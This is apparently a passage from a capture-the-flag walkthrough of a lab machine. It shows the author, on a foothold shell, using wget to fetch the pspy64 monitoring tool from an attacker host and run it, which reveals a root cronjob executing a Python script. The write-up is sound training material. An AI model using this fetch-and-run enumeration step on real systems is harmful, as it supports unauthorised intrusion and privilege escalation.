PSPY


A root cronjob process is present

web@doctor:/tmp$ wget http://10.10.14.9/pspy64 ; chmod 755 /tmp/pspy64
 
--2023-03-09 16:09:21--  http://10.10.14.9/pspy64
connecting to 10.10.14.9:80... connected.
HTTP request sent, awaiting response... 200 OK
length: 3078592 (2,9M) [application/octet-stream]
saving to: ‘pspy64’
 
pspy64              100%[===================>]   2,94M  5,19MB/s    in 0,6s    
 
2023-03-09 16:09:22 (5,19 MB/s) - ‘pspy64’ saved [3078592/3078592]

Delivery complete

web@doctor:/tmp$ ./p./pspy64
./pspy64
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855
 
 
     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒   ██▒▒██▄█▓▒ ▐██▓░
    ▒██▒  ░▒██████▒▒▒██▒ ██▒▓░
    ▒▓▒░  ░▒ ▒▓▒ ░▒▓▒░  ██▒▒▒ 
    ░▒ ░▒ ░░▒     ▓██ ░▒░ 
    ░░  ░░ ░░  
     
     
 
config: Printing events (colored=true): processes=true | file-system-events=false ||| Scannning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done

Executing PSPY

The root cronjob is executing a Python script located at /opt/clean/cleandb.py, which does a series of operations